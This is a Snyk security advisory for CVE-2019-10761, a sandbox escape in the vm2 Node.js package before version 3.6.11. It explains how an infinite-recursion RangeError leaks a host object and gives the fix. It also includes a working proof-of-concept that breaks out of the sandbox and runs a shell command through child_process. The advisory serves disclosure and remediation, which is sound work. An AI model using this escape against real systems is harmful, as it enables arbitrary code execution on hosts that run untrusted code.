Sandbox Bypass Affecting vm2 package, versions <3.6.11
Snyk CVSS
Attack Complexity
Low
Scope
Changed
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.17% (53rd
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-VM2-473188
- published 16 Oct 2019
- disclosed 7 Apr 2019
- credit XmiliaH
Introduced: 7 Apr 2019
CVE-2019-10761 Open this link in a new tabHow to fix?
Upgrade vm2
to version 3.6.11 or higher.
Overview
vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.
Affected versions of this package are vulnerable to Sandbox Bypass. It is possible to trigger a RangeError
exception from the host rather than the "sandboxed" context by reaching the stack call limit with an infinite recursion. The returned object is then used to reference the mainModule
property of the host code running the script allowing it to spawn a child_process
and execute arbitrary code.
PoC by XmiliaH
"use strict";
const {VM} = require('vm2');
const untrusted = `
const f = Buffer.prototype.write;
const ft = {
length: 10,
utf8Write(){
}
}
function r(i){
var x = 0;
try{
x = r(i);
}catch(e){}
if(typeof(x)!=='number')
return x;
if(x!==i)
return x+1;
try{
f.call(ft);
}catch(e){
return e;
}
return null;
}
var i=1;
while(1){
try{
i=r(i).constructor.constructor("return process")();
break;
}catch(x){
i++;
}
}
i.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}